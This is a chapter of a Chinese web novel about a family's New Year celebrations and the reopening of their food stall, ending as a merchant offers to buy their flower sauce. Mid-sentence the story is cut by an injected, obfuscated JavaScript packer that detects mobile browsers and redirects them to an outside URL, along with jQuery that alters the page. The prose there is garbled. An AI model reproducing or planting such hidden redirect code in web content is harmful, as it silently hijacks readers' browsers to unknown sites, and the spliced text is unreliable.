冬日里温度低,油水足的菜更是不会坏。
虽只有三人一起过年,但依旧做了红烧鸡,排骨炖干菜,凉拌猪头肉,又蒸了腊肉和鱼,再炒了酸辣菘菜。
当然,有象征意义的鱼是不能吃的,按照习俗得留到第二天才能开动,不过其余的菜也已足够。
钱丽娘燃起香,领着两个丫头,朝财神、灶神、门神等各路神仙都拜了拜,又说了好些吉祥话后,三人才坐下。
新鲜热腾的农家饭,虽谈不上多么精致,可食材新鲜,主厨之人手艺又好,这顿饭的味道自然不差,直吃得人顾不上说话。
……
风雪之下的东头村,虽寒冷但却热闹。有那富裕些的人家,更是买了炮仗,只在吃饭前便噼里啪啦响起,让听到的人也分享了一份喜庆。
有人欢喜也有人忧愁。村里人以为陶二郎外出挣大钱,陶家屋里当然知道那不过是遮羞的幌子,实际上,人还不知道在哪里做苦活儿呢!
钱珍娘哪里有心思过年?这些日子她连门也不敢出,生怕让人察觉出问题。
娘家也更是一团糟,不仅铺子没了,爹娘和嫂嫂们更是连门也不让她进,直骂她是扫把星,害了全家。
而陶二郎,更是为了替自己,被抓去服徭役,这年节的时候,也不知能不能歇上一日……
小孩子不知道大人的心思,只知道又赶上年节,又能吃上好吃的东西。一大早的时候陶家两个小娃便跟在钱珍娘后面,叽叽喳喳不停问着吃些什么。
钱珍娘烦不胜烦,一把推开两个小娃,吼道:“吃吃吃,整日里就知道吃!”
陶春生不知道娘亲为什么生气,只隐约感觉到家里似是发生了什么。
他瘪瘪嘴,使劲咽下泪花,拉着水生往一边走,再也不敢多说一句话。
陶老汉在屋里抽着旱烟,听到门外的动静只叹了一口气,最终还是没出门去。
怀着身孕本就不便,晌午又下起雪,钱珍娘不得不放慢动作操持起饭食。
这个年节过得糟心,她也无心讲究,只简单烧了猪肉炖芦菔,再蒸上鱼,又炒了盘菘菜便齐全了。
陶老汉看着桌子上略显寒酸的年菜,倒也没说别的,只道:“开饭吧。”
年节的时候最是热闹,等到傍晚,大雪已经停止。皎皎明月悬挂在天空,映照出大地银装素裹的样子。
淮陵州城内有人放起烟花,让方圆几十里的村落都看了个清楚。
周家宅子里,谭月琬吃过年夜饭,便指挥家仆将购置的烟花爆竹全部搬出来。
“快些,快些!别人都开始了。”她催促着。
“这丫头,往年不见这样着急!”一位身披貂裘的妇人开口。
“白日里没出门去,此时自是闲不住了。”周正回。
母子二人没再说话,只看着谭月琬差人将东西摆好,又拿起火折子挨个点起,没一会儿便看见一簇簇火团窜上半空,融入夜色后,又迅速爆炸开来,像星星洒落一般,形成美丽的景色。
“舅母!好不好看!”谭月琬的脸被烟火照亮,她神采飞扬地朝人问道。
“好看,好看!小心别被火星子溅身上。”周曼君道。
“继续放,快继续放!”谭月琬大声催促,“青禾指不定还能看到我放的烟花呢!”
“这丫头……”周曼君哭笑不得,竟还想着那摆摊的小友。
周正轻咳一声,朝人走去,“今日州城的人都在放烟花,如何能看到你的?”
谭月琬才不想听这扫兴的话,翻白眼道:“我说能看到便能看到。”
周正无奈,“不如明日再买上些,待天色暗下来时便燃上。”
“诶?”谭月琬眼神亮了亮,“这主意不错,允了!”
周正:……
周母看着兄妹二人又绊起嘴来,只能摇摇头,内心忍不住道:一年到头也没个清净。
……
东头村山脚下,母女三人午食吃得太撑,晚上只烧了素汤润润肚。刚收拾完灶房,便听到遥远处传来响声。
陶青苗跑到院子里,看着烟花在空中绽开,立马喊道:“阿娘,阿姐!有人放爆竹!”
“来了来了!”陶青禾立马放下手里的东西,拉着赵丽娘便往外走,“阿娘,咱们去看看。”
母女三人拿了小矮凳到门口,又将火炉子搬到跟前,齐齐坐在院子里欣赏起来。
“阿姐,快看右边的,好像一朵花儿呀!”
“还有还有,左边的像木桶!”
“今年似是比往年还热闹些?”赵丽娘道。
“约莫是的,我瞧着烟花的样式都好看许多。”陶青禾回。
只是不知可有月琬放的?念头刚起,她又忍不住笑起来,这样热闹的时候,定是少不了这位小娘子。
州城的烟花燃放不停,这边刚歇下那边又响起。一晚上可是让人看了尽兴。待凌晨时分,更是有许多爆竹声传来,响彻新的一年。
大年初一禁洒扫。不过三人做的吃食多,今日只需在锅里热一热,便无需再费其他功夫。
大年初二回娘家。赵丽娘当年嫁到陶家,因着亲爹不做人,两边闹得难堪。这些年也没回去过,眼下自是不会给自己找不痛快。
三人只闲待在家里,除了打水,几乎不出院门,可是躲了好一阵清闲。
直到元宵节过后,年节算是彻底结束。陶青禾瞧着天气不错,三人商量一番,终于结束悠闲的日子,决定复工了。
过去半年的时间,摆摊这件事已变得寻常。
一大早,赵丽娘收拾东西的时候,也不像最初那样忙乱,只检查一遍后,便不慌不忙地出发了。
正月的风依旧寒冷,好在一家人的衣服足够御寒,只是推车的手依旧会被风刮到。陶青禾忍不住想,等开春定要买头拉车的牲畜!
再进到州城里,陶青禾瞧着街上比往常还要热闹,三人赶紧往摊子走去,好早点开张。
“咦?”陶青苗满脸疑惑,“阿姐,摊子竟是干净的。”
陶青禾正搬着东西,听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209864|188555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到妹妹的话,只想了想便道:“应是月琬让人来打扫的。”
“谭姑娘心善,竟还记得这些小事。”赵丽娘感慨。
省了打扫的时间,三人只需简单拾掇几下,便顺利开张。
眼下的陵水巷已不同往日,再不是刚开始冷清的样子。炉子才生上火,便有面生的客人走到跟前,“这是什么吃食?”
陶青禾听着客人一口外地方言,理清意思后才回:“是香花酥饼还有饴浆糯米饭,天气寒冷,客人不妨来上些,也好暖和暖和。”
这番话说得利索,年轻姑娘脸上还带着笑,那外地客人不再犹豫便坐下,各点上一份吃食,只待好好品尝。
香脆的酥饼配上甜软的糯米饭,外地客人一吃便爱上了。趁着佳节来淮陵州游玩,果然不虚此行!
等第二锅酥饼烙好后,陶青禾陆续又碰上许多老客,双方互相说着吉祥话,笑意满面的,一时间倒很是畅快。
不知是佳节的热闹还未散尽,亦或是其他。新年头一天的生意竟出奇得好!连晌午时也有不少客人过来。
陶青禾忙得脚都走不开,酥饼一锅接一锅地烙着,喜庆话也满箩筐地说。
正当她给一位客人装饼的时候,远处忽然传来一阵急呼,“陶姑娘!你可算开摊了!”
来人边喊边往摊子上挪动,可惜身上裹得严实,人又圆润得很,跑上两步还得停下来喘上两口,因此虽是着急速度却并不快。
陶青禾收好饼钱,这才瞧了过去。
似是有些眼熟……
嚯,是孔老板!
孔德信跑跑停停老半天,终于到了摊位跟前,他取下帽子,擦了擦满头的汗,嘴里还不停喘着气。
自己连元宵节也没在家过,特意趁早跑到淮陵州,就是为了早些和陶姑娘碰上面。蹲了好些日子,今日出门可算是见到了!
陶青禾脸带笑意,先说了句吉祥话:“孔老板,新年万事顺心,财源广进~”
又问:“元宵节才过,您这样早便出来做生意了?”
孔德信歇了好一会儿才开口,“广进广进,你也广进。”
又回道:“可不是嘛!生意人一年到头不停跑,就为了挣点糊口钱。”
“年节之前,陶姑娘赠的花酱确是不可多得的好东西!我家厨子用那花酱做出来的酥饼和糯米饭,竟和你这摊子上的口味所差无几!”
他朝陶青禾行礼道谢,“多谢陶姑娘慷慨,让我家中妻儿不出远门也能吃上这难得的美食!”
陶青禾赶紧朝一边避让,又扶起他的胳膊,“不是什么精贵东西,况且孔老板也帮我许多,如何能担得起您这番行礼?”
孔德信不由得老脸一红,自己虽不是黑心商人,但走南闯北这些年,自然也不做亏本买卖。想起自己对花苗的敷衍,再想起陶姑娘的赤诚,直觉得问心有愧……
他脸色讪讪,厚着脸皮笑一声,便轻轻揭过这个话头,直接说起正事,“陶姑娘,我瞧你这花酱是好东西,不知可愿与孔某做笔买卖?”